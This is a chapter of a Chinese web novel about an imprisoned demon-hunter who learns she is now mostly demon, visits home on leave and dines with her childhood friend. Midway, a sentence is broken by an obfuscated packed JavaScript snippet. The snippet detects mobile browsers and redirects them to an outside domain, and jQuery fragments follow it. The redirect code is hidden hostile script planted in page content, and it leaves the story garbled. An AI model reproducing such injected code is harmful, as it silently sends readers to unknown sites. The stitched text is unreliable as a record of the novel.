75.繁芫芜

作品:《我在监狱考捉妖资格证

    除了远在庄园书房电脑屏幕后的那个人。


    “老爷子,这是昝聿先生刚刚传过来的影像,不过这个用意……”


    老人抬手打断了保镖的话,慢慢悠悠地端着杯子喝了口茶,“就看看。”


    “是。”


    监狱专用车在门口停稳,早就等候在这里的狱警迅速上前,一人搀扶着一个,带着向不同的方向走去。仇昴跻看着躺在座位上不省人事的辰琛,命令自己的两个护卫上前,将人抬出,安置到另一辆车上,一溜烟地往监狱外面走。


    祁山乌被首先带到检查室接受例行检查,这次的检查根据成员们的情况,增加了一个对妖身的检查项目。


    各项数据出来的很快,祁山乌被要求重新使一下转化妖身的能力,结果在意料之内。妖身像是预知到了自己出来之后要面对的东西,于是干脆选择装死,无论祁山乌怎么操作,妖身仍是没有一点反应,就连一点金色的火星子都没能打出来。


    “使不出来是吗?”负责检查的狱警看着尝试好几次的她,出声安慰道:“使不出来是正常的,因为你是人,而你还没有和整个妖身进行磨合。”


    “在外出那么危急的情况下,更多的原因是你的妖身也占据着你身体的一部分,所以无论是妖的意识还是你本人的意识,都不希望你这具身体收到伤害。”检察员将她的信息资料下载下来进行传送,生成量表,“我们把它叫做护巢。”


    听起来很奇怪。


    祁山乌接过自己的量表,往校准室走去。


    “来啦。”


    这拨人已经组团出过任务了,相互之间便没有什么需要隐瞒的。良彪刚校准完准备离开,路过祁山乌身边的时候,听到他嘟嘟囔囔,“操,坐个牢,连人都不当了。”


    祁山乌置若罔闻,拿着量表径直走向柴雯,将表递过去。基础信息被一同展示在祁山乌的眼前啊。


    姓名:祁山乌


    年龄:22岁


    身高:171cm


    学历:联邦军区大学警卫专业高本硕定向培育


    性质:……*&*%R&*……¥R%&%……#@#*&(*())


    术器:未确定


    精神值:&*%…(狱员平均%…¥、军区平均95)


    曾任职:贫民窟派出所警员


    “嗯?”祁山乌看着主要的两个指标呈现出一行乱码,表情有点儿疑惑,“这是?”


    这次外出任务回来,按照常规,所有人需要同步测量峰值和刨除掉峰值之外的平均值。一旦这两个数据相差过大,并且峰值曾一度冲上100%妖,为了避免引起慌乱,数据栏便会显示出一行乱码。


    这是柴雯第二次见到这种状况,她第一时间将情况汇报了学丞,随后简单地安抚了祁山乌一下,“没事儿,这个是最近系统不稳定而导致的,稍等会儿就会出现。”


    学丞很快将处理操作传过来,柴雯一目十行看完,当即进入祁山乌看不懂的系统内进行调试,将她的峰值手动删去,没一会儿,祁山乌的信息被完整公布出来。


    姓名:祁山乌


    年龄:22岁


    身高:171cm


    学历:联邦军区大学警卫专业高本硕定向培育


    性质:46.7%人、53.3%妖


    术器:未确定


    精神值:79(狱员平均62、军区平均95)


    曾任职:贫民窟派出所警员


    祁山乌看着被显示出来的数据,一瞬间get到刚刚良彪说的意思。虽然在灰球内,祁山乌很感谢自己体内那个突然出来掌控局面的类龙头,但看着这个天平已经朝妖类方向倾斜,祁山乌的心里还是有一种说不出来的复杂。


    已经突破了50大关了啊?


    从数据方面显示,她已经不属于人的范畴了啊。尽管她从小到大都是在一水儿的同里面求异,但从来没想过这个异是要靠脱离人类这个群体来支撑的。


    祁山乌的心里莫名泛起一股焦躁,不过很快被她压了下来,想到自己要做的事情,以及很多相关的谜题,她并不打算在这个方面多纠结。相关事宜交代完了以后,柴雯让她回去多休息会儿,如果心里还是过不了这道关的话,必要时刻得去找学丞梳理一下心结。


    祁山乌应下,出来之后将量表量化,装进自己的脑机内,扔进回收站,不再想它。转而脚步一转,朝着仇昴跻的办公室走去。


    “进来。”


    “我要兑现仇中将上次给到的承诺。”


    “什么?”


    “回去一趟。”


    祁山乌简单说了下自己的诉求,仇昴跻没有问为什么,直接迅速地给她签了一张申请单,允许放回家探望一天。


    她拿着申请单,没有回宿舍,直接走向大门。


    好巧不巧,今天大门的值班恰好是代莫尔。


    代莫尔扫了两眼她,将申请单在系统里过了一遍之后,拿着附件走过来,“这个附件你拿好,回来的时候要再刷一下,不然就视为未归,会被全联邦通缉的。”


    祁山乌道谢了一声,将附件接过,准备离开。


    “等会儿,你还真打算顶着3719回去啊?”代莫尔见着她就准备以这种行头离开,过来将她胸前的代码牌撕下,转而贴上一个品牌标志,“这样就好多了。”


    “谢谢。”


    “还有这个。”代莫尔往她的口袋里放了一包口罩,随后朝她挥手,示意她离开。


    祁山乌再次走出监狱,和出任务不一样,这次是真切地自己能感知到外界的点滴。明明才只是被关了几个月,所见所闻到的却好像是一股新鲜的气息。


    此刻外面已经入春,她就穿了件串牌作战服,随着傍晚微微吹起的清风,走在大街上,简单看看这个好像离开了很久的城市。


    离监狱越远,祁山乌的鼻子不自觉地越发皱在一起。不知道怎么的,越往人群的方向走,祁山乌的鼻子里闻到的却是一股接着一股潮湿腐朽的气息,像是人在密闭空间内死了很久一样。


    她不由自主地皱了皱眉,从兜里掏出来代莫尔事先给她准备的口罩带着,带上的一瞬间,那股死人味居然神奇地被隔离开。


    祁山乌停住脚步,走到一座大厦前方,看看周围来往的人,再看看一旁镜子里的自己。


    这个难不成就是现在她的性质带来的一个副作用吗?因为她甚至都不能被称作为人了?


    祁山乌无奈地笑了笑,随后深吸了一口气,以最快的速度回到家。


    刚一踏进楼梯,便被周围的邻居认出,随后像是远离瘟疫一般远离祁山乌。祁山乌看了几个人,目光所过之处,尽数将视线躲避藏起来。


    “这……这不是?”


    “哎呀,别说了,等会儿那泼妇又过来了,晦气。”


    祁山乌听着不知道从哪里传过来的声音,放在口袋里的手攥了攥随后松开,当作没听见一般径直上楼,来到那扇熟悉的房门前。


    在那边房子被收走之后,这个房子便是她的归属了。


    她打开门,意外地发现里面竟然一尘不染,像是有人过来定期做清洁一样。她蹙了蹙眉,小心踏上地板,警惕地留意着周围,将全屋里外检查彻底没有发现多余的身影之后,才缓缓放松自己的神经,坐在椅子上将手臂搭上自己的眼睛,简单歇息了一会儿。


    然后起身,朝小房间的方向走去。


    这里放着和父母相关的所有物件。


    “咳咳……。”和外面不同,祁山乌一打开这扇门,灰尘瞬间扑面而来。


    她打开窗户将这个小房间简单通了下风之后,蹲坐在地上开始挑拣翻看。


    “那个记录本呢?”


    一番翻找之后找到想要的东西,祁山乌起身将窗户再关好,房门锁好,最后再看了两眼房子之后,拿上东西离开,准备直接回监狱。


    然而下一秒,她一打开门,门口却站着一个人,正伸手对着门锁的位置,准备开门。


    “嗯!!!你回来了??”


    来人一身多巴胺色系的穿搭,头上扎着数个辫子,围着一个缎面头巾,她松松垮垮地戴着一副粉红无框眼镜,叼着一根棒棒糖,身上的饰品随着她的动作发出一阵叮叮当当的声音。


    来人正是祁山乌的发小——繁芫芜。


    “你怎么过来了?”祁山乌有点儿惊喜。


    “之前你跟我说你被联邦召了回来,我还一直等着你的好消息呢,结果突然之间就联系不上你了,我这不是怕你一个人出什么事情,就赶过来找你,结果听到那样的消息。”繁芫芜把棒棒糖拿出来,在祁山乌面前手舞足蹈,“我又不能去找你,这不是就想着给你定期过来收拾收拾,让你出来了好舒舒服服的。”


    繁芫芜不知道这个监狱在哪,更不知道它和其他监狱的区别,只是通过旁的邻居知道了祁山乌进去的原因。当时她一过来,周边的人还在热火朝天地给这件事情加码,繁芫芜在一边听了不到一半就忍不住了,上去就是一脚,将她们边说边磕的瓜子扫在地上,凭一己之力将已经传地十八弯的谣言扭正过来。


    这会儿见到本人,只是一个劲儿地说自己站在她这一边,这种事情肯定有误会的。


    祁山乌听着她叽里呱啦一堆,从监狱出来碰到的一系列阴霾,此刻尽数散去。


    她伸手拽了拽对面人的辫子,笑了笑:“好好好,知道你帮我说话。”


    祁山乌看了看时间,正好下午六点,“去吃个晚饭?”


    “好好好!你要不要换个衣服?”


    繁芫芜开了车过来,祁山乌也恰好不太想在这个附近吃,简单收拾完便上车,让繁芫芜载着往市中心走。


    “你有没有什么想吃的?”


    祁山乌看着窗外一闪而过的街景,“这不得大小姐带着我吃?”


    “行,那本小姐就带着你去吃香的喝辣的!”


    祁山乌笑着摇了摇头。


    两人在市中心最有名的饭店门口停下,放下车后由服务人员牵引着走进包厢。


    “这里的私密性很好。”


    两个人简单点了几份隐藏菜品,包厢门一关,二人默契地对监狱事情闭口不谈,简单唠了一下家常。


    “还有一周吗?”


    “对啊,”说到这里,繁芫芜像是蔫了一样,“我叔叔非说我在这里做不出什么事情了,非要把我往外遣,可是我家又不是他说了算,烦都烦死了。”


    祁山乌和繁芫芜是幼儿、小学时候的同学,算是一起长大的发小,但对于繁芫芜的家里情况,祁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15535566|157000||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    山乌却是不知道具体情况的,当然她也没打算询问,只是从繁芫芜的每次抱怨里面拼凑出来一点。


    好像她家的大家族是由她爷爷奶奶一脉说了算,可是自从她爷爷奶奶、叔祖母三人相继去世了之后,整个家族的话语权不知道怎么就落到了她叔祖父的身上。


    按照常规,好像该是顺延到繁芫芜这一家?


    “可是他不仅是旁支,而且是入赘的啊,我叔祖母又没有遗书表示,他凭什么管我。”繁芫芜的各种事情一直是由他叔祖父说了算,对于这一点,她表示强烈反抗,并且和爸妈说了多次,自己家的东西本来就归自己管,更何况他们家还是主干,现在这样算是怎么回事。


    结果每次都被“你叔祖父是长辈”的理由驳回,气得繁芫芜每次都偷偷跑出来自己找个地方待着。


    “我真的不想出去,本联邦待着多舒服啊。”


    祁山乌喝了一口羹汤,她没有经历过这种关系,没法做出什么实质性的建议,便只是在一旁听着,时不时给个反馈。


    “那你怎么打算?”


    繁芫芜好像就等着这一句话,眼睛都亮了起来,然后贼兮兮地压低身体,用只有两个人的声音开口,说:“他要这么弄我,那别怪我不客气了。”


    祁山乌一勺接着一勺,两眼专注地看着她。


    “按理来说,我爷爷传下来应该是给我爸,结果被我爸的赘叔叔拿去了。到头来管我的各种事情不说,还逐渐稀释我爸妈应有的权利,这像话吗?”


    祁山乌摇了摇头。


    “所以说,如果他要这么弄我。反正他外面有生意,我去拿回我该有的没有错吧?”


    祁山乌笑着摇了摇头,引起繁芫芜的不满,“你笑什么?”


    “大小姐,你真的是在说你的计划吗?”


    一张小嘴叭叭地,但凡换个听者,繁芫芜这想法都得凉吧?


    繁芫芜:“{(°△°; "}!?”


    “不是,我...,可是你又不是别人。”她的表情看起来有点儿委屈。


    “是我你也得防着点儿啊。”一想到自己变成妖形谁都不认的状态,祁山乌无奈地笑了笑,低垂着头,拿勺子在碗里画圈。


    “那咋了,我信的是你这个人,就算是信我俩的关系,那也是建立在你这个人的前提之上的。”


    一句意料之外的话,祁山乌停下了手里的动作,“如果,我不再是我了呢?”


    “你怎么了呀?”繁芫芜流露出了担心的神情,“虽然我不知道这个是什么意思,但我也不对你强加‘不可能’这个词。我只跟你说,如果真的变成那样了,至少我认得你,在我的角度,你就是值得我信的那一个人。”


    祁山乌愕然抬头,包厢内壁的闪闪荧光把她的瞳子照得发亮,她感觉到自己好像突然想开了,于是笑着点了点头。


    两人简单吃完,天色已经很暗了,繁芫芜上车准备把人送回去,“嗐,早知道你回来,我就让老徐送我了。”


    祁山乌系安全带的动作一停,“老徐?你换司机了?”


    “对啊,”繁芫芜没有注意到祁山乌一瞬间的怔愣,转着后视镜简单补了个妆,“老陈前段时间把脚给扭了,这段时间又恰好是他女儿高考的关键时期,就干脆辞职回家陪女儿顺便养伤了。”


    “不过这个老徐不是我的专职司机,我叔祖父说反正我还有一周就要出去了,让老徐顺带载一下我,平常他主要还是负责我叔祖父的安全管理。”


    很神奇地,尽管不像是一个阶级的,但祁山乌就是莫名觉得,这个老徐和自己的那个老徐,恐怕是一个人,于是开口询问道:“这个老徐叫什么名字啊?长什么样子?”


    “好像是叫徐正?样子看不见,平常我叔祖父都让他带着面罩,说他紫外线过敏。”繁芫芜收拾完,准备发车,“怎么啦?是我叔祖父让我叫老徐的,不是故意让你想起那个事情的。”


    当年老徐因公殉职的事情,祁山乌和繁芫芜聊过,当时还是繁芫芜安慰她来着。


    “没事儿,就是最近遇到了一个很奇怪的事情,等我解决完再跟你说吧。”祁山乌笑了笑,“而且,我叫的那个老徐也不叫徐正,回去吧,有劳我的大小姐了~”


    “不劳烦,本大小姐就爱给祁山乌警官开车!”


    在家里又小坐了会儿之后,祁山乌把人送走。私人脑机已经被禁用,于是用家里的系统给繁芫芜发去一条她要回去了的消息,便带着那个记录本,提前回去了监狱。


    一进监狱,祁山乌以复诊的理由,径直走向学丞所在的地方。


    恰好此时学丞也拿到了相关的报告,正好要找祁山乌。


    “这是你要的,我给你找到了。”


    祁山乌拿过来简单翻了一下,目光停留在照片位置,图上的年轻人和现在的徐昌启样貌有很大的变化。


    “有变化是正常的,都妖化了,怎么可能还是那么规整的人样。”


    祁山乌的视线下移,盯着人物生平介绍那栏。


    “徐昌启,本名徐正,2061年因非法交易罪行入狱捉妖员培训营,成功通过所有测试后,取得二级捉妖资格证。在外野待了一年左右,后被调上来,被京外派出所收编。”


    “新历2086年因公殉职。”